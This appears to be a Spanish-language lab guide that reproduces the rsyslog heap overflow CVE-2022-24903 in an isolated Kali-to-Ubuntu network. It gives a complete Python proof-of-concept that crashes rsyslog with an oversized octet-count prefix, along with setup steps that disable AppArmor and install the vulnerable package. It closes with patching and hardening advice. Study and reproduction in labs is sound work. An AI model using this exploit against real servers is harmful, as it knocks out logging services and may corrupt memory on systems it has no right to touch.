
CVE-2022-24903 Heap-based buffer overflow
Autor: Andrew Beshay Mousa
Un laboratorio práctico que demuestra la vulnerabilidad de desbordamiento de búfer en el montón de rsyslog.
Un entorno de laboratorio práctico para reproducir y comprender la vulnerabilidad de desbordamiento de búfer en el montón de rsyslog (CVE-2022-24903) mediante el framing con conteo de octetos en la recepción de syslog por TCP.
CVE-2022-24903 es una vulnerabilidad de desbordamiento de búfer en el montón en el módulo de recepción de syslog por TCP (imtcp) de rsyslog cuando se utiliza el framing con conteo de octetos (RFC 5425).
Un atacante puede enviar un mensaje syslog por TCP manipulado con un prefijo de conteo de octetos excesivamente largo, lo que provoca que rsyslog escriba más allá de los límites de un búfer asignado en el montón, resultando en una denegación de servicio (DoS) o una posible corrupción de memoria.
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
Nota: Puedes usar cualquier versión de Ubuntu (20.04, 22.04, 24.04) como Objetivo. La clave está en instalar manualmente el paquete
.debde rsyslog 8.2001.0 vulnerable.
En el syslog por TCP (RFC 5425), los mensajes llevan un prefijo con su longitud en bytes:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
En las versiones vulnerables de rsyslog, el analizador de conteo de octetos:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
Resultado: Enviar 9999... (más de 5000 dígitos) desborda el búfer del montón, corrompiendo la memoria adyacente.
0-9)En tu hipervisor, crea una red Host-Only:
192.168.56.0/24Conecta ambas máquinas virtuales a esta red.
sudo nano /etc/netplan/00-installer-config.yaml
Pega:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
Aplica:
sudo netplan apply
Verifica:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
Si obtienes un error de bloqueo de dpkg:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
Verifica la versión:
rsyslogd -v | head -2
Salida esperada:
rsyslogd 8.2001.0
AppArmor puede impedir que rsyslog funcione correctamente con el paquete antiguo:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
Limpia el archivo y pega:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
Verifica que está escuchando:
sudo ss -tlnp | grep 514
Esperado:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
Pega:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
O si usas Netplan:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
Pega:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
Hazlo ejecutable:
chmod +x exploit.py
Desde la máquina Atacante, verifica la conectividad:
nc -zv 192.168.56.20 514
Esperado:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
Salida esperada:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
En la máquina Objetivo, verifica el fallo:
ps aux | grep rsyslog
Si no hay salida -> rsyslog se bloqueó
sudo dmesg | tail -10
Salida esperada:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
O:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
Para confirmar la reproducibilidad:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
Luego vuelve a ejecutar el exploit desde Kali. El fallo debería ocurrir de nuevo.
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
Verifica la versión parcheada:
rsyslogd -v | head -2
Debería ser 8.2204.1 o superior.
Comenta en /etc/rsyslog.conf:
# module(load="imtcp")
# input(type="imtcp" port="514")
Si se requiere syslog por TCP, usa transporte cifrado:
module(load="imgtls")
input(type="imgtls" port="6514")
Restringe TCP 514 solo a hosts de confianza:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
Este laboratorio es solo con fines educativos y de investigación. No uses este exploit contra sistemas que no poseas o para los que no tengas permiso explícito de pruebas. El autor no asume ninguna responsabilidad por el mal uso de esta información.
Este proyecto está licenciado bajo la Licencia MIT.
Hecho con café y curiosidad por Andrew Beshay Mousa.
| Atributo | Valor |
|---|
| ID de CVE | CVE-2022-24903 |
| Afectado | rsyslog < 8.2204.1 |
| Vector | Red |
| Puerto | 514/TCP |
| Módulo | imtcp (Entrada TCP) |
| Impacto | DoS / Corrupción del montón |
| ¿RCE probable? | No (evaluación del proveedor) |
| VM | SO | Rol | IP | RAM | CPU |
|---|
| Objetivo | Ubuntu 22.04 | Servidor rsyslog vulnerable | 192.168.56.20 | 1 GB | 1 |
| Atacante | Kali Linux | Remitente del exploit | 192.168.56.10 | 2 GB | 1 |
| Problema | Solución |
|---|
Connection refused | rsyslog no está en ejecución o no está escuchando en TCP 514. Comprueba sudo systemctl status rsyslog y `sudo ss -tlnp |
Unit rsyslog.service is masked | Ejecuta sudo systemctl unmask rsyslog.service syslog.socket |
dpkg frontend lock | Ejecuta sudo kill -9 <PID> y luego sudo rm -f /var/lib/dpkg/lock-frontend |
| AppArmor DENIED in dmesg | Ejecuta sudo systemctl stop apparmor && sudo systemctl disable apparmor |
| La versión de rsyslog es 8.2112+ | Instalaste la versión parcheada. Descarga e instala rsyslog_8.2001.0-1ubuntu1_amd64.deb manualmente |
| No hay fallo tras el exploit | Aumenta el tamaño del payload a b"9" * 20000 |